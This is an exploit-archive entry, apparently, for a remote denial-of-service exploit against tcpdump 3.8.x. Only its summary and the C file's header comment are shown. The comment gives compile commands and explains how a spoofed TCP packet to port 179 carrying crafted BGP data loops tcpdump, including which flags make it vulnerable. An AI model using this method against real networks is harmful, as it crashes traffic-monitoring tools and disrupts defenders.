Tcpdump v3.8.x and below remote denial of service exploit which causes tcpdump to go into an infinite loop when it processes an evil BGP packet. Works if TCP port 179 is not filtered.

/*[ tcpdump[3.8.x]: (BGP) RT_ROUTING_INFO infinite loop DOS. ]
*
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
*
* compile:
* gcc xtcpdump-bgp-dos.c -o xtcpdump-bgp-dos
* gcc xtcpdump-bgp-dos.c -o xtcpdump-bgp-dos -D_USE_SYN
*
* tcpdump homepage/URL:
* http://www.tcpdump.org
*
* fix:
* this appears to have been fixed in the alpha 3.9.x / CVS
* versions. although i found no direct mention of the issue
* itself being resolved, the code has been changed in a way to
* not allow this to happen.
*
* Tcpdump is a program that allows you to dump the traffic on a
* network. It can be used to print out the headers of packets on
* a network interface that matches a given expression. You can
* use this tool to track down network problems, to detect "ping
* attacks" or to monitor the network activities.
*
* tcpdump(v3.8.3 and earlier versions) contains a remote denial
* of service vulnerability in the form of a single (BGP) packet
* causing an infinite loop.
*
* BGP is TCP, however the victim does not have to have the BGP
* port(179) open to abuse the bug. by sending a specially
* crafted (spoofed) TCP(ACK,PUSH) packet to port 179 you can
* trigger the infinite loop, however it depends on if the packet
* can make it out without being dropped. in some situations the
* source host/ip used must be within your local subnet(or your
* actual ip) for the (spoofed) packet to make it past your own
* router. if for some reason you think a (invalid) TCP(SYN)
* packet is more likely to make it out, compile with the
* -D_USE_SYN flag. (tcpdump will parse the BGP data even if it
* is a TCP(SYN) packet)
*
* some versions of tcpdump(depending on the platform/OS) need no
* special command-line arguments to allow this to happen.
* however most need the "-v" argument, and a some need the
* "-s" (snaplen) set to 88(non-spoofed is around 100, with the
* ip options) or more.
